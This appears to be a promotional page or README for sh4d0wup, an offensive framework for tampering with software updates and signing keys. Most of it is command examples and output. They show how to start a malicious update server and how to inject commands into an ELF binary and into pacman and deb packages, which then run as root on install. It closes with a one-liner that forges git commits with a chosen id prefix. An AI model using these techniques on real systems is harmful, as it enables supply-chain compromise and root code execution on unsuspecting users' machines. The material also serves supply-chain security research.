Sh4D0Wup – Signing-key Abuse And Update Exploitation Framework

% docker run -it --rm ghcr.io/kpcyrd/sh4d0wup:edge -h
Usage: sh4d0wup [OPTIONS] <COMMAND>

Commands:
  bait         Start a malicious update server
  front        Bind a http/https server but forward everything unmodified
  infect       High level tampering, inject additional commands into a package
  tamper       Low level tampering, patch a package database to add malicious packages, cause updates or influence dependency resolution
  keygen       Generate signing keys with the given parameters
  sign         Use signing keys to generate signatures
  hsm          Interact with hardware signing keys
  build        Compile an attack based on a plot
  check        Check if the plot can still execute correctly against the configured image
  req          Emulate a http request to test routing and selectors
  completion   s  Generate shell completions
  help         Print this message or the help of the given subcommand(s)

Options:
  -v, --verbose...  Increase logging output (can be used multiple times)
  -q, --quiet...    Reduce logging output (can be used multiple times)
  -h, --help        Print help information
  -V, --version     Print version information

sh4d0wup build ./contrib/plot-hello-world.yaml -o ./plot.tar.zst

sh4d0wup bait -B 0.0.0.0:1337 ./plot.tar.zst

% sh4d0wup infect elf /usr/bin/sh4d0wup -c id a.out
[2022-12-19T23:50:52Z INFO  sh4d0wup::infect::elf] Spawning C compiler...
[2022-12-19T23:50:52Z INFO  sh4d0wup::infect::elf] Generating source code...
[2022-12-19T23:50:57Z INFO  sh4d0wup::infect::elf] Waiting for compile to finish...
[2022-12-19T23:51:01Z INFO  sh4d0wup::infect::elf] Successfully generated binary
% ./a.out help
uid=1000(user) gid=1000(user) groups=1000(user),212(rebuilderd),973(docker),998(wheel)
Usage: a.out [OPTIONS] <COMMAND>

Commands:
  bait         Start a malicious update server
  infect       High level tampering, inject additional commands into a package
  tamper       Low level tampering, patch a package database to add malicious packages, cause updates or influence dependency resolution
  keygen       Generate signing keys with the given parameters
  sign         Use signing keys to generate signatures
  hsm          Intera   ct with hardware signing keys
  build        Compile an attack based on a plot
  check        Check if the plot can still execute correctly against the configured image
  completions  Generate shell completions
  help         Print this message or the help of the given subcommand(s)

Options:
  -v, --verbose...  Turn debugging information on
  -h, --help        Print help information

% sh4d0wup infect pacman --set 'pkgver=0.2.0-2' /var/cache/pacman/pkg/sh4d0wup-0.2.0-1-x86_64.pkg.tar.zst -c id sh4d0wup-0.2.0-2-x86_64.pkg.tar.zst
[2022-12-09T16:08:11Z INFO  sh4d0wup::infect::pacman] This package has no install hook, adding one from scratch...
% sudo pacman -U sh4d0wup-0.2.0-2-x86_64.pkg.tar.zst
loading packages...
resolving dependencies...
looking for conflicting packages...

Packages (1) sh4d0wup-0.2.0-2

Total Installed Size:  13.36 MiB
Net Upgrade Size:       0.00 MiB

:: Proceed with installation? [Y/n]
(1/1) checking keys in keyring                                         [#######################################] 100%
(1/1) checking package integrity                                       [#######################################] 100%
(1/1) loading package files                                            [#######################################] 100%
(1/1) checking for file conflic   ts                                      [#######################################] 100%
(1/1) checking available disk space                                    [#######################################] 100%
:: Processing package changes...
(1/1) upgrading sh4d0wup                                               [#######################################] 100%
uid=0(root) gid=0(root) groups=0(root)
:: Running post-transaction hooks...
(1/2) Arming ConditionNeedsUpdate...
(2/2) Notifying arch-audit-gtk

% sh4d0wup infect deb /var/cache/apt/archives/apt_2.2.4_amd64.deb -c id ./apt_2.2.4-1_amd64.deb --set Version=2.2.4-1
[2022-12-09T16:28:02Z INFO  sh4d0wup::infect::deb] Patching "control.tar.xz"
% sudo apt install ./apt_2.2.4-1_amd64.deb
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
Note, selecting 'apt' instead of './apt_2.2.4-1_amd64.deb'
Suggested packages:
  apt-doc aptitude | synaptic | wajig dpkg-dev gnupg | gnupg2 | gnupg1 powermgmt-base
Recommended packages:
  ca-certificates
The following packages will be upgraded:
  apt
1 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 0 B/1491 kB of archives.
After this operation, 0 B of additional disk space will be used.
Get:1 /apt_2.2.4-1_amd64.deb apt amd64 2.2.4-1 [1491 kB]
debconf: de   laying package configuration, since apt-utils is not installed
(Reading database ... 6661 files and directories currently installed.)
Preparing to unpack /apt_2.2.4-1_amd64.deb ...
Unpacking apt (2.2.4-1) over (2.2.4) ...
Setting up apt (2.2.4-1) ...
uid=0(root) gid=0(root) groups=0(root)
Processing triggers for libc-bin (2.31-13+deb11u5) ...

Here’s a short oneliner on how to take the latest commit from a git repository, send it to a remote computer that has sh4d0wup installed to tweak it until the commit id starts with the provided --collision-prefix and then inserts the new commit back into the repository on your local computer:

% git cat-file commit HEAD | ssh lots-o-time nice sh4d0wup tamper git-commit --stdin --collision-prefix 7777 --strip-header | git hash-object -w -t commit --stdin

This may take some time, eventually it shows a commit id that you can use to create a new branch:

git show 777754fde8...
git branch some-name 777754fde8...